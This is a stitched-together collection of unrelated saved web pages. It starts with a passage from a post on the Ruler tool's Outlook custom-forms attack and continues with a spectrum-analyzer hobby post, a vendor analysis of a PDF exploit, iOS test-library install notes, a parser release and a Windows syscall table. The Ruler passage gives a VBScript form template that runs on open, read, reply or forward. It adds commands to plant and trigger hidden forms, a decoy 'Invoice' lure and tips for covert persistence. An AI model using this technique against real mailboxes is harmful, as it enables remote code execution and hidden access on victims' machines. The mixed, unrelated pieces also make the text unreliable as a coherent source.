    End Function
[/code]

Yields a nice calculator as soon as the form is opened. This can be extended
to perform different actions when a reply is created, a message is forwarded,
etc. Winning, so far. Now the big test, does it persist and does it
synchronise?

## Save a form

Forms can either be saved to a local file \(Save-As\) which then makes it
available to the local install of Outlook, not very useful for us, but you can
also _Publish_ a form. When publishing, the form can be stored in the
_Personal Forms Library_ or in an Outlook folder, such as the Inbox.

<img src='img/Temp2_7392.png' width='300' height='222' />

The form can be published to an Exchange folder.

Once published, the form gets a new form name and its own message class. The
message class is important, as Outlook will use this to determine which form
to use when processing a message and displaying it. **If the form gets
published into a folder such as the Inbox, it automatically gets synchronised
with the Exchange server, and all instances of Outlook associated to that
account\!**

After the form is saved, you need to be able to activate/trigger it somehow.
This can be done directly through the Outlook interface, but this is not very
useful, as you will be shelling yourself. If you want to test if a form works
as you would like it to, select the inbox and then in the ribbon select _New
Items_ -> _Custom Forms_ -> Form\_name.

<img src='img/Temp2_7390.png' width='300' height='295' />

The new form can be accessed through the menu.

How about triggering this remotely? For this you need to send an email of the
correct message class. To do this through Outlook, you will need to create a
form with the same message class as the one you have created on your target’s
mailbox, and then send an email using that form. Convoluted, I know.

## Automating – Ruler

As demonstrated by the last example of how to trigger the email, it is rather
complicated trying to do this through Outlook. Also creating the malicious
form in Outlook, would require you to synchronise the mailbox to your own
host. This seemed an ideal feature to extend the functionality in Ruler and
create these forms automatically.

### No Documentation

The first issue in doing this was figuring out where or how these forms are
actually stored. When developing Ruler I was fortunate enough to have specific
MAPI Remote Operations \(ROPS\) available to interact with the Rules Organiser
in Exchange. Sadly, with forms I was not so lucky. Turns out forms do not have
their own ROPS, and documentation of how these are created/stored/accessed
through MAPI is near non-existent, as far as I know.

Fortunately, there is a brilliant application we can use to view a Mailbox and
all MAPI objects associated with that mailbox. **MFCMAPI** , tool that
provides access to MAPI stores to facilitate investigation of Exchange and
Outlook issues – https://github.com/stephenegriffin/mfcmapi – if you are
serious about looking into MAPI development, this is the tool to turn to.

### Discovery

Using MFCMAPI I was able to determine that forms get stored in the
_associated_ table for a folder. The associated table is described as _“A
collection of Message objects that are stored in a Folder object and are
typically hidden from view by email applications. A FAI Message object is used
to store a variety of settings and auxiliary data, including forms, views,
calendar options, favourites, and category lists.”_

Looking at the associated folder using MFCMAPI we can find the form message.
This is saved with a message class of
**IPM.Microsoft.FolderDesign.FormsDescription**. Each form is then described
in the attachments and P _roperyTags_ stored with these messages. There are a
bunch of options that need to be set for each form, and these are controlled
through the _PropertyTags_ of the message.

Weirdly enough, _PropertyTags_ such as **PidTagOfflineAddressBookName** are
used to describe the form, there aren’t any **PidTag\[form\]**_PropertyTags_.
This particular tag controls the message class of the form – in this case
**IPM.Note.pewpew**. The form document, along with the VBScript to execute is
saved in an unique attachment, the data of this form is stored in the Outlook
message format, basically the same format used when you save a message to
disk.

<img src='img/Temp2_7398.png' width='300' height='102' />

Inspecting the associate table with MFCMAPI

Now that I knew where the forms where stored, I had to figure how to create
them. The MAPI library I created for Ruler had all the functions needed to
create messages, attachments and custom _PropertyTags._ The complicated part
was deciphering exactly which tags are required and what the different values
mean \(we want dynamic forms after all\). This took a few painful hours of
creating messages and comparing the Ruler created message with that generated
in Outlook. Eventually I stumbled on all the required values.

It also allowed for the discovery of some nice “hidden” features. For example,
setting the **PidTagSendOutlookRecallReport** to **true** would hide the form
from the user interface. This means the new form won’t show up under _custom
forms_ in the _new item_ menu. To discover the new form, a user would need to
go into the advanced options tab in Outlook, navigate to forms, select the
inbox and view the list of forms \(unlikely\).

The inbox is also not the default forms library location, thus users who do
modify forms, tend to only see those stored in the Personal Forms Library,
which is the default view and storage space.

## Custom Form

Being able to create a form through Ruler was great, but how about specifying
a custom payload, custom VBScript? This got a little complicated.

Option one was to sift through the MS-OXMSG.pdf and create a custom
parser/generator for the MSG format; option two was to hexedit an existing
form. I went for the latter.

The current form script template in use:

[code]

    Function P()
    >>MAGIC<<
    End Function
    
    Function Item_Open()
    Call P()
    End Function
    
    Function Item_Reply(ByVal Response)
    Call P()
    End Function
    
    Function Item_Forward(ByVal ForwardItem)
    Call P()
    End Function
    
    Function Item_Read(ByVal Response)
    Call P()
    End Function
[/code]

When Ruler generates the new form, it searches through form template for our
“MAGIC” token and replaces this with the supplied payload. For now, this means
that the payload size is limited to 4096 bytes, which should be more than
enough for creating a useful payload. This means the standard base64 encoded
Empire launcher should fit. But we are hackers, with 4096 bytes you should be
able to do A LOT of interesting things.

You should also notice that there are multiple triggers for this form. The
payload will be called if the message is read \(previewer\), opened \(not
previewed\) or if the user attempts to reply or forward the message. This
means that the user needs to at least **preview** the message. Alternatively
you need a slight amount of social engineering, where the attacker needs to
either get the user to open the message or to reply to it. A nice side affect
is that the user will inadvertently trigger the payload if they try “forward”
it to the incident response team.

## Attack Attack

A few changes to Ruler and the new attack is baked in. The new functionality
can be accessed through the **form** command.

[code]

    ./ruler --email john@msf.com form help
    
    USAGE:
     ruler form [global options] command [command options] [arguments...]
    
    VERSION:
     2.0.17
    
    COMMANDS:
     add creates a new form. 
     send send an email to an existing form and trigger it
     delete delete an existing form
     display display all existing forms
    
    
[/code]

Under the **form** command, there are a number of sub commands. Just as you
have with standard Ruler. To add a new form:

[code]

    ./ruler --email john@msf.com form add --suffix pewpew --command "MsgBox(\"hello\")" --send
[/code]

In this example, this will create a new form, with the message class
**IPM.Note.pewpew** and the VBScript to show the MsgBox. The command can also
be supplied from a file, using the _–input_ argument.

Leaving out the _–command_ or _–input_ arguments will provide with a sample
VBScript to use.

The _–send_ specifies that we want a trigger mail to be sent. The default
email has a subject of “Invoice \[Confidential\]” and the body “This message
cannot be displayed in the previewer”. If you wish to customise this email,
simply use –subject “new subject” and –body “new body”.

To trigger an existing form, you can use the **send** command.

[code]

    ./ruler --email john@msf.com form send --suffix pewpew
[/code]

And same story with the subject and body. Forms can also be retrieved and
deleted. If you wish to view a list of current forms, use the **display**
command and to delete a form, **delete –suffix pewpew**.

The end result of this can be seen here: https://youtu.be/XfMpJTnmoTk

Ruler - Getting a shell with Forms

### Code

The new version of Ruler is available on Github:
https://github.com/sensepost/ruler

**NOTE:** If you are going to use the pre-built binaries, there is an extra
setup step\!

In your current working directory, you need a folder named “templates”. In
this folder you will require the files:

  * img0.bin
  * img1.bin
  * formtemplate.bin

These can be retrieved from the github folder:
https://github.com/sensepost/ruler/tree/master/templates

## Persistence

What I really like about this method is the fact that it is ideal for
persistence. If you compromise an account, install a custom form and that is
it. If you lose access to that account, all you need to do to trigger the
shell again is to send an email with the correct message class. Unlike rules,
there is not an easy way in the UI for a user to check their forms. And as far
as I can see, forms can not be seen in OWA, unlike Rules. Because the message
is saved in the associated table, the standard query tools for Exchange do not
allow you to retrieve this information.

## Defence

Apart from MFA/2FA, defending against this is going to be interesting, just
like Rules, I cannot give a firm “this will block it” solution.

Good monitoring and logging should be able to pickup the VBScript execution.
Unfortunately, based on my testing, disabling macros does not protect against
this. I have not tried with macros disabled via GPO, but with _Disable all
macros without notification_ set in Outlook, the VBScript will still execute.

<img src='img/Temp2_7391.png' width='300' height='134' />

This setting doesn’t seem to help.

If there are other ways of blocking VBScript in Outlook, please share and I
will update this post.

### Future Work

Depending on time and the popularity of this specific method of getting shell,
I will look into better customisation options for the supplied script. This is
going to take some more work, but the idea is to implement some logic that
allows the attacker to choose when the script should trigger, either on open,
reply, forward, etc, or all of them.

  

# mossmann's blog: a $16 pocket spectrum analyzer

**Created:**| _12/19/2010 10:53:39 PM_  
---|---  
**Updated:**| _12/19/2010 10:54:04 PM_  
**Author:**| __  
**Tags:**| _Hacks DSP_  
  

### a $16 pocket spectrum analyzer

ShmooCon was, once again, a fantastic experience this year. One of many
highlights of this year's event for me was hacking on some radio devices with
Travis Goodspeed in the hotel bar for hours on end. This included playing with
the IM-Me that he brought. As soon as I got home I ordered one. I found mine
for $15.99 and free shipping on eBay.

<img src='img/Temp2_10466.jpg' />Since then I've written custom firmware to
turn my IM-Me into a pocket spectrum analyzer, shown here displaying activity
of a frequency hopping system at a grocery store. The only change I've made to
the hardware is the addition of a ribbon cable in order to easily connect to
aGoodFET for programming, but this is simply creating a permanent connection
to the debug contact points that are already exposed in the battery
compartment. I've followed Travis's advice on how to develop for the platform.

<img src='img/Temp2_10467.jpg' />The software tunes the IM-Me's radio chip to
one frequency at a time, uses the chip's RSSI measurement function, and plots
the result as one column on the LCD. It sweeps across the whole screen \(132
columns\) several times per second, showing a contiguous range of radio
frequency activity. The technique works quite well, although there are a few
defects. Most notably, harmonics of the IM-Me's 26 MHz crystal show up as
spurs on the display.

The frequency ranges supported by my device are 281 - 361, 378 - 481, and 749
- 962 MHz. This is about 50% more than the chip is advertised to support and
covers quite a bit of interesting activity in the US including ISM, LMR,
television, amateur bands, pagers, and mobile phones. The edges of the bands
supported by other batches of chips may differ but probably not by much.

<img src='img/Temp2_10468.jpg' />The software supports three bandwidth modes:
wide \(default\), narrow, and ultrawide. Wide mode displays 26.4 MHz of
bandwidth in 200 kHz increments. Narrow mode displays 6.6 MHz of bandwidth in
50 kHz increments. Ultrawide mode, shown here with some mobile phone activity,
displays 88 MHz of bandwidth in 667 kHz increments.

The code is open and available here. I'd love to hear from you if you give it
a try. Huge thanks to both Travis and Dave who did the hard reverse
engineering work\!

# E.K.I.A – Adobe Reader Exploit \(CVE-2013-3346\) & Kernel NDProxy.sys Zero-Day EoP | Detection | Prevention | Intelligence
**Created:**| _12/7/2013 3:36:05 PM_  
---|---  
**Updated:**| _12/7/2013 3:36:05 PM_  
**Author:**| __  
**Tags:**| _Exploit pdf_  
  

# **E****.** K.I.A – Adobe Reader Exploit \(CVE-2013-3346\) & Kernel
NDProxy.sys Zero-Day EoP****

Home /KIA /E**.** K.I.A – Adobe Reader Exploit \(CVE-2013-3346\) & Kernel
NDProxy.sys Zero-Day EoP

<img src='img/Temp2_2490.jpg' alt='Adobe Reader Exploit (CVE-2013-3346)' />

On November 27, FireEye disclosed a zero-day \(now CVE-2013-5065 \) privilege
escalation vulnerability circulating in the wild and being delivered via a PDF
exploit for a previously patched vulnerability \(CVE-2013-3446\) in Adobe
Reader**.** The Adobe Reader memory corruption vulnerability was patched back
in May as part of APSB13-15 **.** Examining the PDF sample  in question we can
see that there is a large amount of heavily obfuscated Javascript in object 3:

<img src='img/Temp2_2492.jpg' alt='E.K.IA-1' />

In addition, object 4 also appears to be heavily obfuscated and we can safely
assume that this is where the malware payload is stored**.** This stream alone
is over 100K of the total 173K PDF file size:

<img src='img/Temp2_2487.jpg' alt='E.K.IA-2' />

Copying the contents of object 3 and evaluating with Didier Steven’s patched
Spidermonkey  tool yields the following JavaScript:

<img src='img/Temp2_2486.jpg' alt='E.K.IA-3' />

In addition to the obvious shellcode and ROP gadgets, we can see the Adobe
reader version pre-checks that are performed:

<img src='img/Temp2_2488.jpg' alt='E.K.IA-4' />

According to the security bulletin from Adobe, the following versions of Adobe
Reader are affected by this vulnerability:

  * Adobe Reader XI \(11**.** 0**.** 02\) and earlier 11.x versions for Windows and Macintosh
  * Adobe Reader X \(10**.** 1.6\) and earlier 10**.** x versions for Windows and Macintosh
  * Adobe Reader 9**.** 5**.** 4 and earlier 9.x versions for Windows, Macintosh and Linux

We can also see that the memory corruption vulnerability is triggered by
adding a button which calls a function to remove it:

<img src='img/Temp2_2491.jpg' alt='E.K.IA-5' />

Variable “part2” referenced above by removeButtonFunc\(\) is the NOP sled**.**

Once the vulnerability is triggered and execution is transferred to the
shellcode shown above, the payload stored in object 4 is decoded and
executed**.** A full technical analysis of the shellcode has been provided
here **.**

The WinXP exploit payload is dropped and executed from the %temp% directory by
cmd.exe on the victim machine as recorded by Invincea FreeSpace:

<img src='img/Temp2_2489.jpg' alt='E.K.IA-6' />

Detailed view of 28F.tmp process launch:

<img src='img/Temp2_2493.jpg' alt='E.K.IA-7' />

The VirusTotal MD5 drill from the Invincea Management Server  indicates that
primary A/V vendors are labeling the backdoor payload as Tavdig aka
Wipbot**.** Full details on this backdoor have been recently documented by
Trend Micro here **.** In addition, the shellcode attempts to leverage a zero-
day input validation flaw in NDProxy.sys in order to escalate to kernel level
privileges**.** As of this writing, Microsoft has acknowledged that the flaw
affects XP and Server 2003 platforms only but has not released an out of cycle
security update to address the issue**.** A suggested workaround provided by
Microsoft includes disabling the NDProxy.sys driver altogether**.** However,
Invincea users are protected by this exploit of Adobe and WinXP without any
update required or disabling of system services**.**

With the end of life for Windows XP looming , threats like these are
especially concerning due to lack of security updates beyond April of next
year and the unfortunate reality that Windows XP still holds nearly a third
of the total desktop OS market share **.**

The accompanying video shows Invincea FreeSpace™ detecting and containing this
threat in real-time without the need for signature updates, patching or system
changes**.** Enjoy the demo and contact us to get protected  today**.**

  * Posted: Dec 5, 2013
  * Category: KIA 
  * Author: Eddie Mitchell 

****

# Installation - uispec - How To Install UISpec. - Behavior Driven Development
for the iPhone - Google Project Hosting

**Created:**| _4/7/2012 11:09:47 AM_  
---|---  
**Updated:**| _4/7/2012 11:09:47 AM_  
**Author:**| __  
**Tags:**| _iOS apple iPhone_  
  

__

<img src='img/Temp2_4474.png' alt='Logo' /> |  uispec Behavior Driven Development for the iPhone |   
---|---|---  
Project Home Downloads Wiki Issues Source

Search for |   
---|---  
<img src='img/Temp2_4475.png' width='15' height='15' /> Installation _How To
Install UISpec._ Updated  Jan 21, 2011 by btkn...@gmail.com

### Getting UISpec

Currently UISpec is available only through the repository. Soon we will have a
distribution zip that you can download. For now just:

  * Checkout/export UISpec using subversion, which is explained here. 

Inside you will find

  * The API documentation: doc/html/index.html 
  * The source code: src/ 
  * The UISpec XCode Project you will be adding to your iphone XCode project: xcode/UISpec/UISpec.xcodeproj 
  * The bundle for use with UIBug: src/UISpec.bundle 
  * The header files for use in your iphone XCode project: headers/ 

### Adding UISpec To Your Project

To add the UISpec project and headers to your iphone XCode project:

  * Drag UISpec.xcodeproj and drop it onto the root of your Xcode project's "Groups and Files" sidebar. A dialog will appear -- make sure "Copy items" is NOT checked and "Reference Type" is "Relative to Project" before clicking "Add". 

  * Next you need to link the UISpec static library to your project by looking under the "Details" table, and checking the checkbox on the far right for libUISpec.a 

  * Now you need to add UISpec as a dependency to your project by expanding the "Targets" section of the sidebar and double-clicking your application's target. Under the "General" tab you will see a "Direct Dependencies" section. Click the "+" button, select "UISpec" and click "Add Target". 

To add the headers:

  * From the Groups & Files pane, double click the respective target or right click and select, Get Info, and then click on the Build tab. 
  * Under the setting, Header Search Paths, "\{YOUR PATH TO UISPEC\}/headers"

To add the bundle:

  * From the Groups & Files pane, right click on a folder and select 

  * Add -> Existing Files... 
  * From here just select the UISpec.bundle found in the src/ folder 

### What's Next

Now that you have installed UISpec, take a look at the UISpec Documentation
will you will learn about writing specs and how to run them.  
---

# Code Exploration Blog

**Created:**| _2/8/2012 1:25:46 PM_  
---|---  
**Updated:**| _2/8/2012 1:25:48 PM_  
**Author:**| __  
**Tags:**| _research code-review presentation-material AI_  
  

### Release: CodeSensor 0.1

Today, I'm happy to release CodeSensor, a tool I have been working on for a
while: CodeSensor may be useful for you to extract facts from C/C++ code in
situations where you do not have a working build-environment. Its goal is to
return meta information about source code in a format suitable for further
processing using UNIX command line tools and simple scripts.  
  
Here are the results of an example run of CodeSensor:  
  
Input| Output  
---|---  
**\#include <stdio.h>  
  
int main\(int argc, char \*\*argv\)  
\{  
if\(argc >= 1\)\{  
  
char \*firstArg = argv\[1\];  
  
while\(\*firstArg\)\{  
  
if\(\*firstArg == 'A'\)  
printf\("A\!\n"\);  
  
firstArg++;  
\}  
\}  
return 0;  
\}** |   
  
  
**func 3:0 18:0 0 int main  
param 3:9 3:17 0 3:0 main int argc  
param 3:19 3:30 0 3:0 main char \* \* argv  
if 5:2 16:2 0 \(argc>=1\)  
decl 7:4 7:28 1 char \*firstArg  
while 9:4 15:4 1 \(\*firstArg\)  
if 11:6 12:15 2 \(\*firstArg=='A'\)  
call 12:1 12:14 3 printf \(\("A\!\n"\)\)  
arg 12:8 12:14 3 12:1 printf "A\!\n"  
return 17:2 17:10 0 0**  
  
As you can see, the output contains several constructs CodeSensor has
recognized, displaying the construct-type as well as start- and end- positions
in the first three columns. Furthermore, it expresses the nesting of
selection- and iteration-statements such as if- and while-statements. To do
so, the nesting-depth of each element is displayed in the fourth column.
Depending on the type of code construct, further information such as the
return type of functions or the conditions imposed by if statements are
printed in the remaining columns.  
  
There can be several reasons why a working build environment is not available.
For example, the code may be incomplete because important header files are
missing. Even if all code is available, the build procedure may be very
complex and getting it to work requires more time than you want to invest.
Furthermore, the interfaces offered by your compiler to receive abstract
syntax trees are usually not particularly beautiful to deal with and may
require you to write a lot of post-processing code to get the information into
a suitable format.  
  
Having dealt with such problems, I thought it would be nice to have a simple
parser for C/C++ that accepts fragments of code and attempts to return
information about its grammatical structure in a simple to process format.
What is interesting about this problem is that in the general case, incomplete
C/C++-code cannot be parsed for several reasons. Consider for example that
anything can hide behind a preprocessor macro. For example, you often see
function definitions such as:  
  

**returnType myFunction\(MACRO\)\{ ... \}**

  
In the situation where MACRO cannot be resolved because the header file where
it is defined is missing, we cannot decide whether this is a function
definition or not. Furthermore, the language contains constructs where it is
necessary to know whether a sequence of alphanumerics represents a type or an
identifier to create the correct parse tree \(see this post\).  
  
CodeSensor takes a different perspective on this problem. Classically, parsing
is a decision problem: You need to decide whether a sequence of tokens
corresponds to the language specification. Instead, CodeSensor assumes that
the code is syntactically correct. This is a valid assumption for code known
to be in production, because if this was not the case, it would not have been
possible to produce a binary from this code. CodeSensor now simply seeks a
plausible sequence of grammar invocations that is most likely to have led to
this code.  
  
It does so by accepting a superset of the language and defining a couple of
disambiguation rules. Of course, it cannot guarantee that the produced parse
tree is correct, but remember, that's impossible anyway for incomplete code,
at least in the general case.  
  
What I personally enjoy most about CodeSensor is its aesthetic formulation.
You may or may not agree with me that if something does not at least have a
tad of beauty, then there really is not much reason to deal with it. What's
beautiful about CodeSensor is that it is entirely composed of a single grammar
file written for the ANTLRv3 parser generator and a bit of Java code used to
post-process abstract syntax trees. It is a proof-of-concept for the fact that
Island Grammars as proposed by Moonen are not just an academic concept but can
actually be used to construct approximate parsers for languages as ugly as
C++.  
  
You can download a JAR-file here. To run it, simply type  
  

**$ java -jar CodeSensor.jar <filename.cpp>**

Keep in mind that CodeSensor is pretty alpha though, so it may crash and burn.
CodeSensor is released under the GPLv3, so checkout the source-code at GitHub:  
  
https://github.com/fabsx00/codesensor  
  
I would also like to take this release as an opportunity to thank the guys at
Recurity Labs and Gregor Kopf in particular for supporting this research. I
hope that this tool will be useful to you guys.

# KernelMode.info • Index page

**Created:**| _5/1/2011 10:01:16 AM_  
---|---  
**Updated:**| _5/1/2011 10:01:16 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

<img src='img/Temp2_4784.gif' width='139' height='52' />

# KernelMode.info

A forum for kernel-mode exploration.

# Windows WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Created:**| _5/29/2011 8:52:27 PM_  
---|---  
**Updated:**| _5/29/2011 8:52:39 PM_  
**Author:**| __  
**Tags:**| _asm windows environment_  
  

# Windows WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Author: j00ru \(j00ru.vx tech blog\)**  
**TeamVexillium**

Special thanks to: Woodmann, Deus, Gynvael Coldwind, MeMek, Alex, Omega Red

Layout by Metasploit Team

  
Enter the Syscall ID to highlight \(hex\):  
  
  
---  
  
System Call Symbol | Windows NT | Windows 2000 | Windows XP | Windows 2003 Server | Windows Vista | Windows 2008 Server | Windows 7  
---|---|---|---|---|---|---|---  
SP3 | SP4 | SP5 | SP6 | SP0 | SP1 | SP2 | SP3 | SP4 | SP0 | SP1 | SP2 | SP3 | SP0 | SP1 | SP2 | SP0 | SP1 | SP2 | SP0 | SP1 | SP2 | SP0  
DestroyPhysicalMonitor |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12fb  |  0x12fb  |  0x12fb  |  |  0x12fb  |  |  0x1327   
DxEngGetRedirectionBitmap |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1298  |  0x1298  |  |  |  |  |  |  |   
DxgStubContextCreate |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10cf   
DxgStubCreateSurfaceObject |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1267  |  0x1267  |  0x1267  |  |  0x1267  |  |   
DxgStubDeleteDirectDrawObject |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f7  |  0x12f7  |  0x12f7  |  |  0x12f7  |  |  0x1323   
DxgStubEnableDirectDrawRedirection |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x12f6  |  0x12f6  |  0x12f6  |  |  0x12f6  |  |  0x1322   
GreFlush |  |  |  |  |  |  |  0x1093  |  |  0x1093  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
GreSelectBitmap |  |  |  |  |  |  |  |  |  0x10f9  |  |  0x1101  |  0x1101  |  0x1101  |  |  0x1100  |  0x1100  |  0x1109  |  0x1109  |  0x1109  |  |  0x1109  |  |  0x110b   
IsIMMEnabledSystem |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x10e6   
NtGdiAbortDoc |  |  |  |  0x1000  |  |  |  0x1000  |  |  0x1000  |  |  0x1000  |  0x1000  |  0x1000  |  |  0x1000  |  0x1000  |  0x1000  |  0x1000  |  0x1000  |  |  0x1000  |  |  0x1000   
NtGdiAbortPath |  |  |  |  0x1001  |  |  |  0x1001  |  |  0x1001  |  |  0x1001  |  0x1001  |  0x1001  |  |  0x1001  |  0x1001  |  0x1001  |  0x1001  |  0x1001  |  |  0x1001  |  |  0x1001   
NtGdiAddEmbFontToDC |  |  |  |  |  |  |  |  |  |  |  0x10d6  |  0x10d6  |  0x10d6  |  |  0x10d5  |  0x10d5  |  0x10de  |  0x10de  |  0x10de  |  |  0x10de  |  |  0x10e0   
NtGdiAddFontMemResourceEx |  |  |  |  |  |  |  0x1004  |  |  0x1004  |  |  0x1004  |  0x1004  |  0x1004  |  |  0x1004  |  0x1004  |  0x1004  |  0x1004  |  0x1004  |  |  0x1004  |  |  0x1004   
NtGdiAddFontResourceW |  |  |  |  0x1002  |  |  |  0x1002  |  |  0x1002  |  |  0x1002  |  0x1002  |  0x1002  |  |  0x1002  |  0x1002  |  0x1002  |  0x1002  |  0x1002  |  |  0x1002  |  |  0x1002   
NtGdiAddRemoteFontToDC |  |  |  |  0x1003  |  |  |  0x1003  |  |  0x1003  |  |  0x1003  |  0x1003  |  0x1003  |  |  0x1003  |  0x1003  |  0x1003  |  0x1003  |  0x1003  |  |  0x1003  |  |  0x1003   
NtGdiAddRemoteMMInstanceToDC |  |  |  |  |  |  |  0x1006  |  |  0x1006  |  |  0x1006  |  0x1006  |  0x1006  |  |  0x1006  |  0x1006  |  0x1006  |  0x1006  |  0x1006  |  |  0x1006  |  |  0x1006   
NtGdiAlphaBlend |  |  |  |  |  |  |  0x1007  |  |  0x1007  |  |  0x1007  |  0x1007  |  0x1007  |  |  0x1007  |  0x1007  |  0x1007  |  0x1007  |  0x1007  |  |  0x1007  |  |  0x1007   
NtGdiAngleArc |  |  |  |  0x1004  |  |  |  0x1008  |  |  0x1008  |  |  0x1008  |  0x1008  |  0x1008  |  |  0x1008  |  0x1008  |  0x1008  |  0x1008  |  0x1008  |  |  0x1008  |  |  0x1008   
NtGdiAnyLinkedFonts |  |  |  |  |  |  |  0x1009  |  |  0x1009  |  |  0x1009  |  0x1009  |  0x1009  |  |  0x1009  |  0x1009  |  0x1009  |  0x1009  |  0x1009  |  |  0x1009  |  |  0x1009   
NtGdiArcInternal |  |  |  |  0x1005  |  |  |  0x100b  |  |  0x100b  |  |  0x100b  |  0x100b  |  0x100b  |  |  0x100b  |  0x100b  |  0x100b  |  0x100b  |  0x100b  |  |  0x100b  |  |  0x100b   
NtGdiBRUSHOBJ\_DeleteRbrush |  |  |  |  |  |  |  |  |  |  |  0x1298  |  0x1298  |  0x1298  |  |  0x1294  |  0x1294  |  0x12b9  |  0x12b9  |  0x12b9  |  |  0x12b9  |  |  0x12d9   
NtGdiBRUSHOBJ\_hGetColorTransform |  |  |  |  |  |  |  0x1265  |  |  0x1265  |  |  0x127d  |  0x127d  |  0x127d  |  |  0x1279  |  0x1279  |  0x129e  |  0x129e  |  0x129e  |  |  0x129e  |  |  0x12be   
NtGdiBRUSHOBJ\_pvAllocRbrush |  |  |  |  |  |  |  0x1263  |  |  0x1263  |  |  0x127b  |  0x127b  |  0x127b  |  |  0x1277  |  0x1277  |  0x129c  |  0x129c  |  0x129c  |  |  0x129c  |  |  0x12bc   
NtGdiBRUSHOBJ\_pvGetRbrush |  |  |  |  |  |  |  0x1264  |  |  0x1264  |  |  0x127c  |  0x127c  |  0x127c  |  |  0x1278  |  0x1278  |  0x129d  |  0x129d  |  0x129d  |  |  0x129d  |  |  0x12bd   
NtGdiBRUSHOBJ\_ulGetBrushColor |  |  |  |  |  |  |  0x1262  |  |  0x1262  |  |  0x127a  |  0x127a  |  0x127a  |  |  0x1276  |  0x1276  |  0x129b  |  0x129b  |  0x129b  |  |  0x129b  |  |  0x12bb   
NtGdiBeginGdiRendering |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x100c   
NtGdiBeginPath |  |  |  |  0x1006  |  |  |  0x100c  |  |  0x100c  |  |  0x100c  |  0x100c  |  0x100c  |  |  0x100c  |  0x100c  |  0x100c  |  0x100c  |  0x100c  |  |  0x100c  |  |  0x100d   
NtGdiBitBlt |  |  |  |  0x1007  |  |  |  0x100d  |  |  0x100d  |  |  0x100d  |  0x100d  |  0x100d  |  |  0x100d  |  0x100d  |  0x100d  |  0x100d  |  0x100d  |  |  0x100d  |  |  0x100e   
NtGdiCLIPOBJ\_bEnum |  |  |  |  |  |  |  0x125c  |  |  0x125c  |  |  0x1274  |  0x1274  |  0x1274  |  |  0x1270  |  0x1270  |  0x1295  |  0x1295  |  0x1295  |  |  0x1295  |  |  0x12b5   
NtGdiCLIPOBJ\_cEnumStart |  |  |  |  |  |  |  0x125d  |  |  0x125d  |  |  0x1275  |  0x1275  |  0x1275  |  |  0x1271  |  0x1271  |  0x1296  |  0x1296  |  0x1296  |  |  0x1296  |  |  0x12b6   
NtGdiCLIPOBJ\_ppoGetPath |  |  |  |  |  |  |  0x125e  |  |  0x125e  |  |  0x1276  |  0x1276  |  0x1276  |  |  0x1272  |  0x1272  |  0x1297  |  0x1297  |  0x1297  |  |  0x1297  |  |  0x12b7   
NtGdiCancelDC |  |  |  |  0x1008  |  |  |  0x100e  |  |  0x100e  |  |  0x100e  |  0x100e  |  0x100e  |  |  0x100e  |  0x100e  |  0x100e  |  0x100e  |  0x100e  |  |  0x100e  |  |  0x100f   
NtGdiChangeGhostFont |  |  |  |  |  |  |  |  |  |  |  0x10d5  |  0x10d5  |  0x10d5  |  |  0x10d4  |  0x10d4  |  0x10dd  |  0x10dd  |  0x10dd  |  |  0x10dd  |  |  0x10df   
NtGdiCheckBitmapBits |  |  |  |  |  |  |  0x100f  |  |  0x100f  |  |  0x100f  |  0x100f  |  0x100f  |  |  0x100f  |  0x100f  |  0x100f  |  0x100f  |  0x100f  |  |  0x100f  |  |  0x1010   
NtGdiClearBitmapAttributes |  |  |  |  |  |  |  |  |  |  |  0x1011  |  0x1011  |  0x1011  |  |  0x1011  |  0x1011  |  0x1011  |  0x1011  |  0x1011  |  |  0x1011  |  |  0x1012   
NtGdiClearBrushAttributes |  |  |  |  |  |  |  |  |  |  |  0x1012  |  0x1012  |  0x1012  |  |  0x1012  |  0x1012  |  0x1012  |  0x1012  |  0x1012  |  |  0x1012  |  |  0x1013   
NtGdiCloseFigure |  |  |  |  0x1009  |  |  |  0x1010  |  |  0x1010  |  |  0x1010  |  0x1010  |  0x1010  |  |  0x1010  |  0x1010  |  0x1010  |  0x1010  |  0x1010  |  |  0x1010  |  |  0x1011   
NtGdiColorCorrectPalette |  |  |  |  |  |  |  0x1011  |  |  0x1011  |  |  0x1013  |  0x1013  |  0x1013  |  |  0x1013  |  0x1013  |  0x1013  |  0x1013  |  0x1013  |  |  0x1013  |  |  0x1014   
NtGdiCombineRgn |  |  |  |  0x100a  |  |  |  0x1012  |  |  0x1012  |  |  0x1014  |  0x1014  |  0x1014  |  |  0x1014  |  0x1014  |  0x1014  |  0x1014  |  0x1014  |  |  0x1014  |  |  0x1015   
NtGdiCombineTransform |  |  |  |  0x100b  |  |  |  0x1013  |  |  0x1013  |  |  0x1015  |  0x1015  |  0x1015  |  |  0x1015  |  0x1015  |  0x1015  |  0x1015  |  0x1015  |  |  0x1015  |  |  0x1016   
NtGdiComputeXformCoefficients |  |  |  |  0x100c  |  |  |  0x1014  |  |  0x1014  |  |  0x1016  |  0x1016  |  0x1016  |  |  0x1016  |  0x1016  |  0x1016  |  0x1016  |  0x1016  |  |  0x1016  |  |  0x1017   
NtGdiConfigureOPMProtectedOutput |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1017  |  0x1017  |  0x1017  |  |  0x1017  |  |  0x1018   
NtGdiConsoleTextOut |  |  |  |  0x100d  |  |  |  0x1015  |  |  0x1015  |  |  0x1017  |  0x1017  |  0x1017  |  |  0x1017  |  0x1017  |  0x1018  |  0x1018  |  0x1018  |  |  0x1018  |  |   
NtGdiConvertMetafileRect |  |  |  |  0x100e  |  |  |  0x1016  |  |  0x1016  |  |  0x1018  |  0x1018  |  0x1018  |  |  0x1018  |  0x1018  |  0x1019  |  0x1019  |  0x1019  |  |  0x1019  |  |  0x1019   
